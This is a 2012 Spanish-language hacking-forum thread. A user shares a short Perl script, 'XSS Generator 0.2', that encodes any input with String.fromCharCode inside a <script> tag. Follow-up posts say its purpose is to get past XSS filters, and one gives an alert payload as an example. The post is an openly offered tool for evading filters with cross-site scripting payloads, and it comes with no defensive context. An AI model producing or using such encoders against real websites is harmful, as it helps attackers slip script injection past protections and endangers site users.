Underc0de - La Casa de los Informáticos

Programación Scripting => Perl => Mensaje iniciado por: BigBear en Octubre 08, 2012, 10:21:21 PM

Título: [Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 08, 2012, 10:21:21 PM
Cortisimo pero util script xDD.

Código (perl) [Seleccionar]

#!usr/bin/perl
#XSS Generator 0.2
#Coded By Doddy H

head();

print "\n[+] Enter the code : ";
$code = <STDIN>;
chomp $code;
if ( $code ne "" ) {
    print "\n\n[XSS] : <script>var code =String.fromCharCode("
      . encode($code)
      . "); document.write(code);</script>\n";
}

copyright();

sub head {
    print "\n\n-- == XSS Generator 0.2 == --\n\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

sub encode {
    return join ',', unpack "U*", $_[0];
}

#The End ?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: zoro248 en Octubre 08, 2012, 10:44:54 PM
Disculpa mi ignorancia pero para que sirve este script?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 09, 2012, 11:37:00 AM
es para saltar ciertos filtros para la vulnerabilidad XSS.
Título: Re:[Perl] XSS Generator 0.2
Publicado por: munter en Octubre 09, 2012, 11:55:11 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
es para saltar ciertos filtros para la vulnerabilidad XSS.

como se usaria?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 09, 2012, 12:23:13 PM
simple pones el codigo que queres usar en la pagina ej : <script>alert(/hola/);</script>